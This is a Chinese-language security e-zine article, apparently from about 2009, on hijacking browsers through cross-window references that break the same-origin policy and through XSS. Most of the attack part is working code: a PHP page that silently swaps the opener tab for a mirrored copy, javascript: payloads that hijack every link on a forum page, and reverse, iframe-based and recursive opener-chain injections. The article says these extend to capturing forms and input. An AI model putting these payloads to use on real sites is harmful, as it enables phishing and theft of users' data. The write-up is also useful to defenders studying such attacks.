==Ph4nt0m Security Team==

Issue 0x03, Phile #0x05 of 0x07

```
|=-----------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[      By rayh4c     ]=-------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=-----------------------=|
|=-----------------------------------------------------------------------=|
```

[目录]

一、前言

最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。

二、同源策略简叙

同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。

三、理解window对象的同源策略

窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

--code----------

```
<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>
```

这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，这些属性和方法就必须遵循同源策略。

举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location属性并没有被拒绝访问。

--demo.html----------

```
<script language="javascript">
function allPrpos(obj) {
      var props = "<table><tr><td>名称</td><td>值</td>";
      for(var p in obj){
            if(typeof(obj[p])=="function"){
                  obj[p]();
             }else{
                  try
                   {
                         props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
                   }
                  catch (ex)
                   {

                         props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
                   }

             }
       }

       document.write(props+"</table>");
}

function createWin() {
        newWin = window.open ("http://www.google.com");
        setTimeout(function(){allPrpos(newWin)},2000);
}

</script>
```

```
<button onclick="createWin()">创建一个非同源子窗口测试</button>
```

四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进行测试，会发现父窗口可以控制非同源子窗口location属性值。

```
--vul1.html-----------------------------------------------------------------
<script language="javascript">
function createWin() {
        newWin = window.open ("http://www.google.com");
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>

<button onclick="createWin()">创建一个非同源子窗口测试</button>
```

4.2 子窗口引用父窗口的同源策略问题

逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。

```
--code----------------------------------------------------------------------

javascript:window.opener.location = "http://www.80sec.com";void(0);
```

五、利用窗口引用漏洞劫持浏览器

经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下会产生什么可怕的后果。

下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可以做更多的事情，所有的一切仅仅是因为点击了一个链接。

```
--hjk_ref.php----------------------------------------------------------------------
<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET["ref"])) {
echo file_get_contents($_GET["ref"]) . "<script>alert(\"I had been hijacking your
browser!\")</script>";
}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo
$Url_Mirror;?>"},3000);
</script>
-------------------------------------------------------------------------------
```

注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。

六、利用XSS漏洞劫持浏览器

延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起讨论跨站师的终极技巧：

6.1 正向跨窗口劫持

大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话框脚本。

```
--hijack_open.js-------------------------------------------------------------

javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=
function(){x=window.open(this.href);setTimeout(function(){try{x.location="
javascript:alert("I had been hijacking your browser!")"}catch(e){};
return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------
```

6.2 反向跨窗口劫持

同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话框脚本。

```
--hijack_opener.js----------------------------------------------------------

javascript:window.opener.location="javascript:alert("I had been hijacki
ng your browser!")";void(0);

------------------------------------------------------------------------------
```

6.3 极度危险的跨框架窗口引用劫持

非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个非持久型的XSS，如下：

```
<iframe src="http://www.target.com/index.php?vul=xss"width="0" height="0">
```

在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口注入脚本。

```
--hijack_frame_opener.js----------------------------------------------------
<script>
window.parent.opener.location="javascript:alert("I had been hijacking y
our browser!")";
</script>
------------------------------------------------------------------------------
```

6.4 极度危险的正反向跨窗口递归劫持

luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过异常处理规避之间跨域页面的访问异常，代码如下：

```
--code----------------------------------------------------------------------

javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location=
"javascript:alert("I had been hijacking your browser!");void(1);
";}catch(e){}}})();void(0);

------------------------------------------------------------------------------
```

假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可以劫持B域之前的A域页面，从而实现“隔空打击”。

同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。

6.5 完全控制浏览器

一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站师的终极目标 - 完全控制浏览器。

七、后记

文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。

八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

-EOF-